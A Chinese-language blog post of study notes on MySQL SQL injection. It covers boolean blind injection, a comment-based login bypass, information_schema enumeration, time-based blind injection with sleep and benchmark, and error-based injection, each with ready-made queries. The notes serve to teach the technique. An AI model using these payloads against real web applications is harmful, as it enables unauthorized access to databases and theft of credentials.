sql注入逻辑

1.

find_in_set()在盲注中的应用:

select * from users where uname=’mechnical’ and find_in_set(left(uname,1),’a,b,c’)=1;

#猜测当前用户名左数第一个字母为“a,b,c“字符串的第一个字母”a”,若猜测为真,则访问的页面正常。以此在26个字母中一一试错。

Mysql>select substring(database(),1,1)=’h’;

Substring()取字符串中任意长度字符,上例中的意思是,对当前数据库名总第一个字符开始取,取一个。

#以上是猜测,当前数据库名的第一个字母为h,如果猜对了,页面可以正常访问,若猜错了,页面无法访问。

2. 关系运算符与注入的逻辑

测试当前账户字符串长度:

Select *from users where uname=’admin’ and length (user())>3#;

#通过来回试错判断用户名的长度。若猜测正确,则网页可以正常访问。如网页出错,则继续猜测。

3.逻辑运算符与注入的逻辑

与,或,非,异或

Mysql>select *from users where uname =’huangxiefeng’ or password =’abd’;

#针对以上语句注入:’ and 1=1 #

#注入后,语句变为:

Mysql>select *from users where uname =’huangxiefeng’ and 1=1 #’ or password =’abd’;

#号将后续需要填写密码的语句注释掉了,达到了不用密码就可以访问网页的目标。

4.information_schema 库的字典信息。

Information_schema库保存了数据库相关的元数据信息,包括所有数据库,表和字段元数据信息。

Information_schema 数据库中包含很多重要的元数据字典表:

表SCHEMA保存了数据相关的定义信息

表TABLES保存了定义表属性的相关信息

表COLUMNS保存了所有数据库下的所有表的的所有字段信息。

5.获得当前数据库的所有表名:

Mysql>

select table_name from information_shema.tables where table_schema=database();

6.查寻当前数据库中’users’表中所有字段名:

Select column_name from information_shema.columns where table_name =’users’

7.查询‘password’列中所有具体信息:

Select password from user

8.查看当前数据库

Mysql>show databases();

等同于:

Mysql>select schema_name from information_schema.schemata;

9.位置函数position()

如用户名为root@host.123.当要猜测@在用户名的哪个位置时:

Select * from users where uid=1003 and position(“@” in user())>2;

#若猜测争取则页面访问正常。

10.时间盲注逻辑

利用if(1,2,3)表达式:判断1是否为真,若为真,则执行2,否则执行3.

MySQL>

select *from users where uname =’user’ and if (left(version(),1)=5,sleep(10),1);

#判断数据库版本,若第一个字符为5.则执行睡眠10s,若不为5,则立即执行。

表现出来的效果是:若猜对了,则页面会延迟10s才会加载出来,如果猜错了,页面会立即加载出来。

MySQL>

if (substring(user(),1,1)=’a’,benchmark(100000,md5(‘b’)),1);

benchmark()是对运算执行压力测试,运算完成需要多长时间。#

若猜对了,则执行压力测试运算,如果没有猜对,则立即执行。

效果同上,会有延迟。

11.报错注入逻辑

Rand()0-1间出一个随机数

Floor()向下取整

Floor(rand()*2)。此时只会出现0或者1.

Select count(*),group_concat(floor(rand()*2),version()) as a from users group by a;

#主要是这三个函数导致的报错,就会把想要得到的信息返回来。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值